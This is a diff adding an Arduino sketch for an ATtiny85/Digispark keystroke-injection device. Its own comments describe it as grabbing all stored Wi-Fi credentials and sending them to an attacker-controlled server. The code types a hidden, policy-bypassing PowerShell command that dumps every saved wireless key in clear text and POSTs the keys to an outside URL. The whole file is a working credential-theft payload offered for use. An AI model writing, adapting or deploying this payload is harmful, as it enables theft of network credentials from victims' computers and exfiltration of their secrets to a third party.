■ ■ ■ ■ ■ ■
ATtiny85_templates/grab_wifi_keys.ino
| 1 | + | //This script grabs all stored wireless network credentials and forwards them via http(s) |
| 2 | + | //to an attacker controlled server (created to work best with Synergy-Httpx as the receiver). |
| 3 | + | //I used a template from https://github.com/CedArctic/DigiSpark-Scripts/ to make this. |
| 4 | + | |
| 5 | + | #include "DigiKeyboard.h" |
| 6 | + | void setup() { |
| 7 | + | } |
| 8 | + | |
| 9 | + | void loop() { |
| 10 | + | DigiKeyboard.sendKeyStroke(0); |
| 11 | + | DigiKeyboard.delay(500); |
| 12 | + | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); |
| 13 | + | DigiKeyboard.delay(500); |
| 14 | + | DigiKeyboard.print("cmd"); |
| 15 | + | DigiKeyboard.sendKeyStroke(KEY_ENTER); |
| 16 | + | DigiKeyboard.delay(2300); |
| 17 | + | DigiKeyboard.print(F("powershell -NoP -W Hidden -ep Bypass \"$n=$f=@();netsh wlan show profiles | Select-String ':(.+)$' | %{$n += (echo $_.Matches.Groups[0].Value.Trim(': '))}; $n | %{$k=((netsh wlan show profile name=$_ key=clear | findstr 'Key Content') -split ': ')[1];$f+=\\\"$_ \: $k\\\"}; irm -Uri https://t3l3machus.com/aWq8tY -Method POST -body ($f -join('<br>'))\"")); |
| 18 | + | DigiKeyboard.sendKeyStroke(KEY_ENTER); |
| 19 | + | DigiKeyboard.print("exit"); |
| 20 | + | DigiKeyboard.sendKeyStroke(KEY_ENTER); |
| 21 | + | for(;;){ } |
| 22 | + | } |
| 23 | + | |